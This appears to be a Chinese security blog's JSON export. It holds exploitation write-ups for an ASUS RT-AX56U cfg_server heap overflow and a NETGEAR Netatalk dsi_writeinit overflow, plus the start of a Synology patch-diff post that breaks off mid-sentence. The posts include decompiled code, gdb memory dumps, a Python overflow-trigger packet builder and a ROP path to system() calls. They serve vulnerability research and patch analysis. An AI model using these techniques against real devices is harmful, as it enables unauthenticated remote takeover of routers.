漏洞利用\n\n如前所述,在`packetHandlers`地址处包含的处理函数中,很多都会调用`cm_aesDecryptMsg()`或`aes_decrypt()`对`value`部分的内容进行解密。经过测试,似乎只有函数`cm_processREQ_GROUPID()`和`cm_processACK_GROUPID()`可以无条件触发,其他函数会依赖`sessionKey`来对数据进行解密或者路径上的某个条件不满足,造成无法触发漏洞。因此,这里选择通过`cm_processREQ_GROUPID()`来触发漏洞。\n\n> `sessionKey`的部分内容无法事先获取\n\n漏洞的原理和触发很简单,但是该如何进行漏洞利用呢?根据之前的分析,漏洞是由于整数溢出造成的堆溢出,假设`tlv_length=0xfffffffa`,后续在循环调用`EVP_DecryptUpdate()`时会尝试写入长度为`0xfffffffa`的数据,在这个过程中会出现非法内存发访问造成程序崩溃。因此,想要进行漏洞利用,最好是在调用`EVP_DecryptUpdate()`或者`EVP_CIPHER_CTX_free(ctx)`的过程中完成。\n\n```c\nchar * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)\n{\n // ...\n ctx = EVP_CIPHER_CTX_new();\n cipher = EVP_aes_256_ecb();\n v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);\n if ( v10 )\n {\n *decodeMsgLen = 0;\n v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; // (3) ctx size: 0x10, integer overflow\n v12 = malloc(v11); // (4)\n v10 = v12;\n if ( v12 )\n {\n memset(v12, 0, v11);\n for ( i = tlv_length; ; i -= 16 )\n {\n in = tlv_value_ptr + tlv_length - i;\n if ( i <= 0x10 )\n break;\n if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) // (5) heap overflow <===\n {\n printf(\"%s(%d):Failed to EVP_DecryptUpdate()!!\\n\", \"aes_decrypt\", 795);\n EVP_CIPHER_CTX_free(ctx); <===\n free(v10);\n // ...\n```\n\n参考`@CataLpa`师傅[文章](https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/)的思路,以`EVP_DecryptUpdate()`为例,其部分示例代码如下。可以看到后续会调用`*ctx+0x18`处的函数指针,如果能覆盖`ctx`结构体中的`cipher`指针(对应`*ctx`),则有可能使程序流程执行到`(6)`处,从而劫持程序的控制流。说明:在`(6)`处,正常的流程是调用`evp_EncryptDecryptUpdate()`,`evp_EncryptDecryptUpdate()`中也存在类似调用`*ctx+0x18`处的函数指针的代码。另外,如果能覆盖`ctx`结构体中的`cipher`指针,也可以使`EVP_DecryptUpdate()`提前返回,然后调用`EVP_CIPHER_CTX_free(ctx)`,思路类似。\n\n> `/usr/lib/libcrypto.so.1.1`对应的`OpenSSL`版本为 `1.1.1k`\n\n```c\nbool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len)\n{\n v5 = ctx[2];\n // ...\n v9 = *(_DWORD *)(*ctx + 4); // ctx->cipher->block_size\n // ...\n v12 = *ctx;\n if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 )\n {\n if ( (ctx[23] & 0x100) != 0 )\n return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);\n // ...\n v17 = ctx[25];\n // ...\n v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);\n if ( v5 )\n {\n if ( v9 <= 1 || ctx[3] )\n {\n v19 = 0;\n ctx[25] = 0;\n }\n else\n {\n *out_len -= v9;\n ctx[25] = 1;\n memcpy(ctx + 27, &out[*out_len], v9);\n }\n if ( v17 )\n v19 = *out_len;\n v5 = 1;\n if ( v17 )\n *out_len = v19 + v9;\n }\n return v5;\n }\n if ( v9 == 1 )\n {\n // ...\n }\nLABEL_11:\n v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len); // (6) <===\n```\n\n通过组合发送不同的请求,以及调整构造的数据包的内容,在一定情况下可以得到如下的内存布局,其中`0xb6400a60`为`ctx`结构体的指针,`0xb6400a48`为`malloc()`返回的地址。可以看到,确实可以通过覆盖`ctx`结构体中`cipher指针`(这里是`0xb6ef6b1c`)的方式来劫持程序控制流,但问题是用什么地址来覆盖?需要有一块内容可控的地址。通过对`cfg_server`的其他功能进行分析,暂时未找到对应的操作来实现向`.data/.bss`等区域写入可控内容。因此,采用这种方式可能需要结合爆破或其他方法。\n\n> 实际测试时,这种内存布局似乎也不是特别稳定 :(\n\n```assembly\n(gdb) c\nContinuing.\n[New Thread 19239.19346]\n0xb6400a60, 0xb6400a48 ; 0xb6400a60: ctx_ptr, 0xb6400a48: return value of malloc()\n[Switching to Thread 19239.19346]\n=> 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <EVP_DecryptUpdate@plt>\n 0x1da00 <aes_decrypt+264>: subs r3, r0, #0\n 0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328>\n 0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592>\n\nThread 4 \"cfg_server\" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()\n(gdb) x/4wx 0xb6400a60\n0xb6400a60: 0xb6ef6b1c 0x00000000 0x00000000 0x00000000\n(gdb) x/20wx 0xb6400a48\n0xb6400a48: 0x00000000 0x00000000 0x00000000 0x00000000\n0xb6400a58: 0x00000000 0x00000095 0xb6ef6b1c 0x00000000 ; 覆盖0xb6ef6b1c为内容可控的地址\n0xb6400a68: 0x00000000 0x00000000 0x00000000 0x00000000\n0xb6400a78: 0x00000000 0x00000000 0x00000000 0x00000000\n0xb6400a88: 0x00000000 0x00000000 0x00000000 0x00000000\n(gdb) x/20wx 0xb6ef6b1c\n0xb6ef6b1c: 0x000001aa 0x00000010 0x00000020 0x00000000\n0xb6ef6b2c: 0x00001001 0xb6e27480 0xb6e27710 0x00000000\n0xb6ef6b3c: 0x00000100 0x00000000 0x00000000 0x00000000\n0xb6ef6b4c: 0x00000000 0x00000383 0x00000001 0x00000018\n0xb6ef6b5c: 0x0000000c 0x00301c77 0xb6e28fac 0xb6e28b40\n```\n\n后来又请教了`@Yimi Hu`师傅,学到了另一种更简单也更稳定的思路。假设还是尝试覆盖`ctx`结构体中的`cipher指针`,通过组合发送不同的请求,以及调整构造的数据包内容,可得到内存布局如下。测试发现,`continue`后程序崩溃,`PC`寄存器的内容似乎被覆盖了,但与发送的数据不一致。\n\n```assembly\n(gdb) c \nContinuing. \n[New Thread 20697.23444] \n0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()\n[Switching to Thread 20697.23444] \n=> 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <EVP_DecryptUpdate@plt> \n 0x1da00 <aes_decrypt+264>: subs r3, r0, #0 \n 0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328> \n 0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592> \n \nThread 4 \"cfg_server\" hit Breakpoint 1, 0x0001d9fc in aes_decrypt () \n(gdb) disable 1 \n(gdb) c \nContinuing. \n[New Thread 20697.23558] \n \nThread 4 \"cfg_server\" received signal SIGSEGV, Segmentation fault. \n=> 0x325e5d34: Error while running hook_stop: \nCannot access memory at address 0x325e5d34 \n0x325e5d34 in ?? ()\n(gdb) bt\n#0 0x325e5d34 in ?? ()\n#1 0xb6e3f760 in ?? () from target:/usr/lib/libcrypto.so.1.1\n```\n\n查看崩溃处的代码,示例如下。可以看到,`PC`寄存器(对应`R3`寄存器)的值来自于`*(v11+0xF8)`,而`v11`来自于`*(_DWORD *)(ctx + 96)`,即`PC=*(*(_DWORD *)(ctx + 96)+0xF8)`。\n\n```c\nint __fastcall do_cipher(int ctx, int out, int in, unsigned int inl)\n{\n v8 = EVP_CIPHER_CTX_block_size(ctx);\n v9 = EVP_CIPHER_CTX_get_cipher_data(ctx); // (6)\n if ( v8 <= inl )\n {\n v10 = inl - v8;\n v11 = v9;\n v12 = in;\n do\n {\n v13 = v12;\n v12 += v8;\n /* .text:B6E3F748 LDR R3, [R7,#0xF8]\n .text:B6E3F74C MOV R1, R5\n .text:B6E3F750 MOV R0, R4\n .text:B6E3F754 MOV R2, R7\n .text:B6E3F758 ADD R4, R4, R6\n .text:B6E3F75C BLX R3\n .text:B6E3F760 RSB R3, R10, R4\n */\n (*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11); // (7) call AES_decrypt()\n out += v8;\n }\n while ( v10 >= v12 - in );\n }\n return 1;\n}\n\nint EVP_CIPHER_CTX_get_cipher_data(int ctx)\n{\n return *(_DWORD *)(ctx + 96);\n}\n```\n\n对应地址处的内容如下。可以发现,在尝试从地址`0xb6600a48`溢出到`0xb6602040`的过程中,已经能覆盖地址`0xb6601380`处的内容了,即劫持了`PC`寄存器,但`PC`寄存器的值与预期(`0x30303030`)不一致。通过查看解密的内容,发现从`0xb6600fe8`开始,解密的内容与预期的就不一致了,猜测可能是在`0xb6600fd8`处覆盖了和解密相关的数据如密钥。\n\n```assembly\n;0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()\n(gdb) x/4wx 0xb6602040+96 ; ctx + 96\n0xb66020a0: 0xb6601288 0x00000001 0x0000000f 0xc53430e9\n(gdb) x/4wx 0xb6601288+0xf8 ; v11 + 0xF8\n0xb6601380: 0x325e5d36 0x571e1e57 0x00000000 0x00000031\n(gdb) x/20wx 0xb6600fc8\n0xb6600fc8: 0x30303030 0x30303030 0x30303030 0x30303030\n0xb6600fd8: 0x30303030 0x30303030 0x30303030 0x30303030\n0xb6600fe8: 0x8c8b045e 0xc7ea483a 0xa382ee1b 0xc3ad7553 ; 解密数据与预期不一致\n0xb6600ff8: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7\n0xb6601008: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7\n```\n\n解决的方式很简单,只要在发送的原始数据包中包含相应的内容,使得某些地址处覆盖前后的内容一致,即可保证解密后的数据和预期的一致。具体地,在`(7)`处正常是调用`AES_decrypt()`,第`3`个参数即`v11`为`aes_key_st`结构体,其与解密密钥相关,因此需要保证`0xb6601288`地址开始处的一段内容在覆盖前后保持不变。而上面提到的`0xb6600fd8`地址处,也有一小部分数据*(暂时未理解其用途 )*会影响解密的结果,也需要保持不变。\n\n> 不同的内存布局可能存在细微差异。经测试,上述内存布局比较稳定。\n\n```c\nvoid AES_decrypt(const unsigned char *in, unsigned char *out, const AES_KEY *key);\n\n# define AES_MAXNR 14\nstruct aes_key_st {\n unsigned int rd_key[4 * (AES_MAXNR + 1)];\n int rounds;\n};\ntypedef struct aes_key_st AES_KEY;\n```\n\n> `aes_key_st`结构体的原始内容可以`dump`出来,或者参考[`AES_set_decrypt_key()`](https://github.com/openssl/openssl/blob/OpenSSL_1_1_1k/crypto/aes/aes_core.c#L1942)自行生成。\n\n之后,即可在`(7)`处正常劫持`PC`,同时第一个参数指向用户发送的内容,很容易实现代码执行的目的。\n\n### 补丁分析\n\n在版本`RT-AX56U_V2 3.0.0.4.386_49559`中,在`cm_packetProcess()`中增加了对数据包中`tlv_length`字段的校验,如下。可以看到,在开始部分,会先对接收数据包的长度`recv_data_len`和数据包中的`tlv_length`字段之间的关系进行校验。而在调用`read_tcp_message()`读取数据包时,每次最多读取`0x4000`字节,故该校验可保证`tlv_length`字段的值不会太大,不会造成后续出现整数溢出问题。\n\n```c\nint cm_packetProcess(int a1, unsigned int *recv_buf, unsigned int recv_data_len, int a4, int a5, int a6, int a7)\n{\n v7 = recv_buf;\n // ...\n v14 = 0;\n while ( 2 )\n {\n if ( v14 >= (int)recv_data_len )\n return 0;\n v15 = v14 + 12;\n if ( v15 <= recv_data_len )\n {\n v45 = *v7; // type\n v46 = v7[1]; // length\n v47 = v7[2]; // checksum\n if ( recv_data_len - 12 != bswap32(v46) ) // check tlv_length\n {\n // checking length error\n }\n // ...\n```\n\n### 小结\n\n本文基于`RT-AX56U V2`型号设备,对`2021`年天府杯破解大赛华硕设备中的漏洞进行了分析,并重点介绍了漏洞利用的思路。在尝试进行漏洞利用的过程中,一方面需要对目标设备的功能比较熟悉;另一方面,在没有思路的时候多尝试(如进行`fuzz`)和多调试,可能会有意向不到的结果。另外,文章中给出的思路是基于`@Yimi Hu`和`@CataLpa`两位师傅的文章,实际比赛中采用的利用思路不得而知,再次感谢`@Yimi Hu`和`@CataLpa`的帮助。\n\n### 相关链接\n\n+ [天府杯华硕会战的围剿与反围剿](https://paper.seebug.org/1751/)\n+ [Tianfu Cup 2021 RT-AX56U RCE](https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/)\n","tags":["ASUS"],"categories":["IoT","漏洞"]},{"title":"Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router","url":"/2023/02/10/Analyzing-an-Old-Netatalk-dsi-writeinit-Buffer-Overflow-Vulnerability-in-NETGEAR-Router/","content":"\n### 前言\n\n2022年11月,`SSD`发布了一个与`NETGEAR R7800`型号设备相关的[漏洞公告](https://ssd-disclosure.com/ssd-advisory-netgear-r7800-afpd-preauth/)。根据该公告,该漏洞存在于`Netatalk`组件(对应的服务程序为`afpd`)中,由于在处理接收的`DSI`数据包时,缺乏对数据包中某些字段的适当校验,在`dsi_writeinit()`中调用`memcpy()`时存在缓冲区溢出问题。利用该漏洞,攻击者可以在目标设备上实现任意代码执行,且无需认证。该漏洞公告中包含了漏洞的细节以及利用思路,但给出的`poc`脚本仅实现了控制流的劫持,缺少后续代码执行的部分。下面将基于`R8500`型号设备,对漏洞进行简单分析,并给出具体的利用方式。\n\n<!-- more -->\n\n### 漏洞分析\n\n`Netatalk`组件在很多`NAS`设备或小型路由器设备中都有应用,近几年吸引了很多安全研究人员的关注,陆续被发现存在多个高危漏洞,例如在近几年的Pwn2Own比赛中,好几个厂商的设备由于使用了该组件而被攻破,`NETGEAR`厂商的部分路由器设备也不例外。\n\n> `NETGEAR`厂商的很多路由器中使用的是很老版本的`Netatalk`组件\n\n该公告中受影响的目标设备为`R7800 V1.0.2.90`版本,而我手边有一个`R8500`型号的设备,在`R8500 V1.0.2.160`版本中去掉了该组件,因此将基于`R8500 V1.0.2.154`版本进行分析。在`NETGEAR`厂商的[GPL页面](https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL),下载对应设备版本的源代码,其中包含`Netatalk`组件的源码,可以直接结合源码进行分析。以`R8500 V1.0.2.154`版本为例,其包含的`Netatalk`组件的版本为`2.2.5`,而该版本发布的时间在2013年,为一个很老的版本。\n\n`AFP`协议建立在[`Data Stream Interface(DSI)`](https://en.wikipedia.org/wiki/Data_Stream_Interface)之上,`DSI`是一个会话层,用于在`TCP`层上承载`AFP`协议的流量。在正常访问该服务时,大概的协议交互流程如下。\n\n<img src=\"images/afp_over_dsi.png\" style=\"zoom:75%\">\n\n其中, 在`DSIOpenSession`请求执行成功后,后续将发送`DSICommand`请求,而处理该请求的代码存在于` afp_over_dsi()`中,部分代码片段如下。正常情况下,程序会在`(1)`处读取对应的请求数据包,之后在`(2)`处根据`cmd`的取值进入不同的处理分支。\n\n```c\nvoid afp_over_dsi(AFPObj *obj)\n{\n /* ... */\n /* get stuck here until the end */\n while (1) {\n /* Blocking read on the network socket */\n cmd = dsi_stream_receive(dsi); // (1)\n /* ... */\n switch(cmd) { \t// (2)\n case DSIFUNC_CLOSE:\n /* ...*/\n case DSIFUNC_TICKLE:\n /* ... */\n case DSIFUNC_CMD:\n /* ... */\n case DSIFUNC_WRITE:\n /* ... */\n case DSIFUNC_ATTN:\n /* ... */\n default:\n LOG(log_info, logtype_afpd,\"afp_dsi: spurious command %d\", cmd);\n dsi_writeinit(dsi, dsi->data, DSI_DATASIZ); // (3)\n /* ... */\n```\n\n函数`dsi_stream_receive()`的部分代码如下。可以看到,其会读取请求包中的数据,并保存到`dsi->header`和`dsi->commands`等中。\n\n```c\nint dsi_stream_receive(DSI *dsi)\n{\n /* ... */\n /* read in the header */\n if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block)) \n return 0;\n\n dsi->header.dsi_flags = block[0];\n dsi->header.dsi_command = block[1];\n /* ... */\n memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));\n memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));\n memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));\n memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));\n dsi->clientID = ntohs(dsi->header.dsi_requestID);\n \n /* make sure we don't over-write our buffers. */\n dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);\n if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) \n return 0;\n /* ... */\n```\n\n在`afp_over_dsi()`中,在`(2)`处,如果`cmd`的取值不满足对应的条件,将会进入`default`分支,`dsi_writeinit()`函数将在`(3)`处被调用。函数`dsi_writeinit()`的部分代码如下。在该函数中,会根据`dsi->header.dsi_code`和`dsi->header.dsi_len`等字段来计算`dsi->datasize`,若其满足条件,则会在`(4)`处调用`memcpy()`。其中,`len`参数与`sizeof(dsi->commands) - header` 和 `dsi->datasize`等相关。\n\n```c\nsize_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)\n{\n size_t len, header;\n\n /* figure out how much data we have. do a couple checks for 0 \n * data */\n header = ntohl(dsi->header.dsi_code);\n dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;\n if (dsi->datasize > 0) {\n len = MIN(sizeof(dsi->commands) - header, dsi->datasize);\n /* write last part of command buffer into buf */\n memcpy(buf, dsi->commands + header, len); // (4) buffer overflow\n /* .. */\n```\n\n根据前面`dsi_stream_receive()`的代码可知,`dsi->header.dsi_code`和`dsi->header.dsi_len`字段的值来自于接收的数据包,`dsi->commands`中的内容也来自于接收的数据包。也就是说,在调用`memcpy()`时,源缓冲区中保存的内容和待拷贝的长度参数均是用户可控的,而目标缓冲区`buf`即`dsi->data`的大小是固定的。因此,通过精心伪造一个数据包,可造成在调用`memcpy()`时出现缓冲区溢出,如下。\n\n```python\ndef create_block(command, dsi_code, dsi_len):\n block = b'\\x00' \t\t\t\t\t\t\t# dsi->header.dsi_flags\n block += struct.pack(\"<B\", command) \t\t# dsi->header.dsi_command\n block += b'\\x00\\x00'\t\t\t\t\t\t# dsi->header.dsi_requestID\n block += struct.pack(\">I\", dsi_code) \t\t# dsi->header.dsi_code\n block += struct.pack(\">I\", dsi_len) \t\t# dsi->header.dsi_len\n block += b'\\x00\\x00\\x00\\x00' \t\t\t\t# dsi->header.dsi_reserved\n return block\n\npkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)\npkt += b'A' * 8192\n```\n\n### 漏洞利用\n\n首先,看一下`DSI`结构体的定义, 如下。`dsi->data`的大小为`8192`,在发生溢出后,其后面的字段也会被覆盖, 包括`proto_open`和`proto_close`两个函数指针。因此,如果溢出后,后面的流程中会用到某个函数指针,就可以实现控制流劫持的目的。\n\n```c\n#define DSI_CMDSIZ 8192 \n#define DSI_DATASIZ 8192\n\ntypedef struct DSI {\n /* ... */\n\n u_int32_t attn_quantum, datasize, server_quantum;\n u_int16_t serverID, clientID;\n char *status;\n u_int8_t commands[DSI_CMDSIZ], data[DSI_DATASIZ];\n size_t statuslen;\n size_t datalen, cmdlen;\n off_t read_count, write_count;\n uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */\n const char *program; \n int socket, serversock;\n\n /* protocol specific open/close, send/receive\n * send/receive fill in the header and use dsi->commands.\n * write/read just write/read data */\n pid_t (*proto_open)(struct DSI *);\n void (*proto_close)(struct DSI *);\n /* ... */\n} DSI;\n```\n\n回到`afp_over_dsi()`函数,在`while`循环中其会调用`dsi_stream_receive()`来读取对应的数据包。如果后续没有数据包了,则返回的`cmd`值为`0`,根据对应的`dsi->flags`,其会调用`afp_dsi_close()` 或 `dsi_disconnect()`,而这两个函数最终都会执行`dsi->proto_close(dsi)`。也就是说,在后续的正常流程中会使用函数指针`dsi->proto_close`,因此,通过溢出来修改该指针,即可劫持程序的控制流。\n\n```c\nvoid afp_over_dsi(AFPObj *obj)\n{\n /* ... */\n /* get stuck here until the end */\n while (1) {\n /* Blocking read on the network socket */\n cmd = dsi_stream_receive(dsi); // (1)\n if (cmd == 0) {\n /* the client sometimes logs out (afp_logout) but doesn't close the DSI session */\n if (dsi->flags & DSI_AFP_LOGGED_OUT) {\n LOG(log_note, logtype_afpd, \"afp_over_dsi: client logged out, terminating DSI session\");\n afp_dsi_close(obj);\n exit(0);\n }\n if (dsi->flags & DSI_RECONINPROG) {\n LOG(log_note, logtype_afpd, \"afp_over_dsi: failed reconnect\");\n afp_dsi_close(obj);\n exit(0);\n }\n if (dsi->flags & DSI_RECONINPROG) {\n LOG(log_note, logtype_afpd, \"afp_over_dsi: failed reconnect\");\n afp_dsi_close(obj);\n exit(0);\n }\n /* Some error on the client connection, enter disconnected state */\n if (dsi_disconnect(dsi) != 0)\n afp_dsi_die(EXITERR_CLNT);\n }\n /* ... */\n\nvoid dsi_close(DSI *dsi)\n{\n /* server generated. need to set all the fields. */\n if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {\n dsi->header.dsi_flags = DSIFL_REQUEST;\n dsi->header.dsi_command = DSIFUNC_CLOSE;\n dsi->header.dsi_requestID = htons(dsi_serverID(dsi));\n dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);\n dsi->cmdlen = 0; \n dsi_send(dsi);\n dsi->proto_close(dsi);\t\t// hijack control flow\n /* ... */\n```\n\n基于前面构造的数据包,在劫持控制流时,对应的上下文如下。可以看到,`R3`寄存器的值已被覆盖,`R4`和`R5`寄存器可控,同时`R0`和`R2`中包含指向`DSI`结构体的指针。\n\n```shell\n──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────\n 0x6a2cc <dsi_close+272> movw r3, #16764 ; 0x417c\n 0x6a2d0 <dsi_close+276> ldr r3, [r2, r3]\n 0x6a2d4 <dsi_close+280> ldr r0, [r11, #-8]\t; r0: points to dsi\n●→ 0x6a2d8 <dsi_close+284> blx r3\n 0x6a2dc <dsi_close+288> ldr r0, [r11, #-8]\n 0x6a2e0 <dsi_close+292> bl 0x112c4 <free@plt>\n 0x6a2e4 <dsi_close+296> sub sp, r11, #4\n 0x6a2e8 <dsi_close+300> pop {r11, pc}\n───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────\n*0x61616161 (\n $r0 = 0x0e8498 → 0x0e1408 → 0x00000002,\n $r1 = 0x000001,\n $r2 = 0x0e8498 → 0x0e1408 → 0x00000002,\n $r3 = 0x61616161\n)\n─────────────────────────────────────────────────────────────────────────────────────────── trace ────\n[#0] 0x6a2d8 → dsi_close()\n[#1] 0x1225c → afp_dsi_close()\n[#2] 0x13994 → afp_over_dsi()\n[#3] 0x116c8 → dsi_start()\n[#4] 0x3f5f8 → main()\n──────────────────────────────────────────────────────────────────────────────────────────────────────\ngef➤ i r\nr0 0xe8498 0xe8498\nr1 0x1 0x1\nr2 0xe8498 0xe8498\nr3 0x61616161 0x61616161\nr4 0x58585858 0x58585858\nr5 0x43385858 0x43385858\nr6 0x7 0x7\nr7 0xbec72f65 0xbec72f65\nr8 0x10a3c 0x10a3c\nr9 0x3e988 0x3e988\nr10 0xbec72df8 0xbec72df8\nr11 0xbec72c3c 0xbec72c3c\nr12 0x401e0edc 0x401e0edc\nsp 0xbec72c30 0xbec72c30\nlr 0x6fffc 0x6fffc\npc 0x6a2d8 0x6a2d8 <dsi_close+284>\n```\n\n程序`afpd`启用的缓解机制如下,同时设备上的`ASLR` 级别为`1`。`DSI`结构体在堆上分配,故发送的数据包均存在于堆上,因此需要基于该上下文,找到合适的`gadgets`完成利用。\n\n```shell\ncq@ubuntu:~$ checksec --file ./afpd\n Arch: arm-32-little\n RELRO: No RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8000)\n```\n\n通过对`afpd`程序进行分析,最终找到一个可用的`gadget`,如下。其中,`[R11-0x8]`中的值指向`DSI`结构体,整个执行的效果等价于`[dsi] = [dsi + 0x2834]; func_ptr = [dsi + 0x2830]; func_ptr([dsi])`。因为`DSI`结构体的地址是固定的,且偏移`0x2834`处的内容可控,通过精心构造数据包,可实现执行`system(arbitrary_cmd)`的效果。\n\n> 针对不同型号的设备,具体的上下文可能不同,利用可能更简单或更麻烦。\n\n<img src=\"images/rop_gadget.png\" style=\"zoom:90%\">\n\n最终效果如下。\n\n<img src=\"images/demo.gif\" style=\"zoom:90%\">\n\n### 小结\n\n本文基于`R8500`型号设备,对其使用的`Netatalk`组件中存在的一个缓冲区溢出漏洞进行了分析。由于在处理接收的`DSI`数据包时,缺乏对数据包中某些字段的适当校验,在`dsi_writeinit()`中调用`memcpy()`时会出现缓冲区溢出。通过覆盖`DSI`结构体中的`proto_close`函数指针,可以劫持程序的控制流,并基于具体的漏洞上下文,实现了代码执行的目的。\n\n### 相关链接\n\n+ [SSD ADVISORY – NETGEAR R7800 AFPD PREAUTH](https://ssd-disclosure.com/ssd-advisory-netgear-r7800-afpd-preauth/)\n+ [NETGEAR Open Source Code for Programmers (GPL)](https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL)","tags":["Netgear"],"categories":["IoT","漏洞"]},{"title":"Patch diff an old vulnerability in Synology NAS","url":"/2023/01/06/Patch-diff-an-old-vulnerability-in-Synology-NAS/","content":"\n### 前言\n\n之前在浏览群晖官方的安全公告时,翻到一个`Critical`级别的历史漏洞[Synology-SA-18:64](https://www.synology.com/en-global/security/advisory/Synology_SA_18_64)。根据漏洞公告,该漏洞存在于群晖的`DSM(DiskStation Manager)`中,允许远程的攻击者在受影响的设备上实现任意代码执行。对群晖`NAS`设备有所了解的读者可能知道,默认条件下能用来在群晖`NAS`上实现远程代码执行的漏洞很少,有公开信息的可能就是与`Pwn2Own`比赛相关的几个。由于该漏洞公告中没有更多的信息,于是打算通过补丁比对的方式来定位和分析该公告中提及的漏洞。\n\n<!-- more -->\n\n### 环境准备\n\n群晖环境的搭建可参考之前的文章[《A Journey into Synology NAS 系列一: 群晖NAS介绍》](https://cq674350529.github.io/2021/08/30/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%B8%80-%E7%BE%A4%E6%99%96NAS%E4%BB%8B%E7%BB%8D/),这里不再赘述。根据群晖的[安全公告](https://www.synology.com/en-global/security/advisory/Synology_SA_18_64),以`DSM 6.1`为例,`DSM 6.1.7-15284-3`以下的版本均受该漏洞影响,由于手边有一个`DSM 6.1.7`的虚拟机,故这里基于`DSM` `6.1.7-15284`版本进行分析。\n\n### 补丁比对\n\n首先对群晖的`DSM`更新版本进行简单说明,方便后续进行补丁比对。以`DSM 6.1.7`版本为例,根据其发行说明,存在`1`个大版本`6.1.7-15284`和`3`个小版本`6.1.7-15284 Update 1`、`6.1.7-15284 Update 2`及`6.1.7-15284 Update 3`。其中,大版本`6.1.7-15284`对应初始版本,其镜像文件中包含完整的系统文件,而后续更新的小版本则只包含与更新相关的文件。另外,`Update 2`版本中包含`Update 1`中的更新,`Update 3`中也包含`Update 2`中的更新,也就是说最后`1`个小版本`Update 3`包含了全部的更新。\n\n从群晖官方的[镜像仓库](https://archive.synology.com/download/)中下载`6.1.7-15284`、`6.1.7-15284-2`和`6.1.7-15284-3`这三个版本对应的`pat`文件。在`Update x`版本的`pat`文件中除了包含与更新相关的模块外,还有一个描述文件`DSM-Security.json`。比对`6.1.7-15284-2`和`6.1.7-15284-3`这2个版本的描述文件,如下。\n\n<img src=\"images/cq674350529_DSM_security_diff.png\" style=\"zoom:85%\">\n\n可以看到,在`6.1.7-15284 Update 3`中更新的模块为`libfindhost`与`netatalk-3.x`,与对应版本发行说明中的信息一致。\n\n<img src=\"images/cq674350529_6.1.7-15284_update-3_release_note.png\" style=\"zoom:80%\">\n\n借助`Bindiff`插件对版本`6.1.7-15284`和`6.1.7-15284 Update 3`中的`libfindhost`模块进行比对,如下。可以看到,主要的差异在函数`FHOSTPacketRead()`中。后面的其他函数很短,基本上就`1~2`个`block`,可忽略。\n\n<img src=\"images/cq674350529_libfindhost_bindiff.png\" style=\"zoom:80%\">\n\n两个版本中函数`FHOSTPacketRead()`内的主要差异如下,其中在`6.1.7-15284 Update 3`中新增加了`3`个`block`。\n\n<img src=\"images/cq674350529_FHOSTPacketRead_bindiff.png\" style=\"zoom:50%\">\n\n对应的伪代码如下。可以看到,在`6.1.7-15284 Update 3`中,主要增加了对变量`v34`的额外校验,而该变量会用在后续的函数调用中。因此,猜测漏洞与`v34`有关。\n\n<img src=\"images/cq674350529_FHOSTPacketRead_pseudo-code_diff.png\" style=\"zoom:50%\">\n\n### 漏洞分析\n\n`libfindhost.so`主要是与`findhostd`服务相关,用于在局域网内通过`Synology Assistant`工具搜索、配置和管理对应的`NAS`设备,关于`findhostd`服务及协议格式可参考之前的文件[《A Journey into Synology NAS 系列二: findhostd服务分析》](https://cq674350529.github.io/2021/09/12/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%BA%8C-findhostd%E6%9C%8D%E5%8A%A1%E5%88%86%E6%9E%90/)。其中,发送数据包的开始部分为`magic 